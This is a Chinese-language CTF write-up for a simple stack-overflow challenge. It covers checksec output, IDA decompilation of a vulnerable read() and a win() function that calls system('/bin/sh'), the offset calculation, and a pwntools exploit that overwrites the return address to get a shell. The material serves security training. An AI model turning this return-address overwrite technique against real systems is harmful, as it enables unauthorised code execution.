文章目录
- 二进制下载
- 检查分析
- 运行二进制
- ida分析
- 解题思路
- exp
二进制下载
下载地址:传送门
检查分析
[root@ningan 3rd]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
[root@ningan 3rd]#
[root@ningan 3rd]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/awd/3rd/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到,安全防护还是比较弱的
运行二进制
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf
+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |
+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |
+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |
+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)
+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)
+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |
+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |
+--------------------+
Input: 123456
[ Address ] [ Stack ]
+--------------------+
0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf
+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |
+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |
+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |
+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)
+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)
+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |
+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |
+--------------------+
Bye!
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf
+--------------------+
0x00007ffe0d6dd768 | 0x0000000000000000 |
+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |
+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |
+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)
+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)
+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |
+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |
+--------------------+
Input: aaaaaaaa
[ Address ] [ Stack ]
+--------------------+
0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf
+--------------------+
0x00007ffe0d6dd768 | 0x000000000000000a |
+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |
+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |
+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)
+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)
+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |
+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |
+--------------------+
Bye!
ida分析
分析main函数,发现有提示:call win函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Your goal is to call `win` function (located at %p)\n", win);
vuln();
puts("Bye!");
return 0;
}
可以看到,读取了一些内容存到了buf变量里,然后就调用了return函数,可以用这个栈溢出漏洞来进行利用
__int64 vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
_show_stack(buf);
printf("Input: ");
read(0, buf, 0x200uLL);
return _show_stack(buf);
}
查看win函数,看到有system(“/bin/sh”)的指令,可以直接利用
void __noreturn win()
{
_QWORD v0[2]; // [rsp+0h] [rbp-10h] BYREF
v0[1] = v0;
if ( ((unsigned __int8)v0 & 0xF) != 0 )
{
puts("Oops! RSP is misaligned!");
puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later.");
puts("This instruction fails when RSP is not a multiple of 0x10.");
puts("Find a way to align RSP! You're almost there!");
sleep(1u);
}
else
{
puts("Congratulations!");
system("/bin/sh");
}
exit(0);
}
找到system(“/bin/sh”);的地址为:0x00000000004008C4
.text:00000000004008C4 48 8D 3D C4 03 00 00 lea rdi, command ; "/bin/sh"
.text:00000000004008CB E8 A0 FD FF FF call _system
解题思路
找到填充的间隔为32
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf
+--------------------+
0x00007ffce7496298 | 0x0000000000000000 |
+--------------------+
0x00007ffce74962a0 | 0x0000000000000000 |
+--------------------+
0x00007ffce74962a8 | 0x00007f258aa44170 |
+--------------------+
0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln)
+--------------------+
0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main)
+--------------------+
0x00007ffce74962d0 | 0x0000000000000001 |
+--------------------+
0x00007ffce74962d8 | 0x00007ffce74963a8 |
+--------------------+
Input: ^C
[root@ningan 3rd]#
[root@ningan 3rd]# python
Python 3.6.9 (default, Mar 10 2023, 16:46:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffce74962b0 - 0x00007ffce7496290
32
上面已经找到system(“/bin/sh”);的地址为:0x00000000004008C4
exp
from pwn import *
io = process("./pwn")
# io = remote("xxxx", 9999)
context.arch = "amd64"
# context.log_level = "debug"
padding = b'A' * 32 + b'BBBBBBBB'
return_addr = 0x00000000004008C4
payload = padding + p64(return_addr)
io.recvuntil('Input: ')
io.sendline(payload)
io.interactive()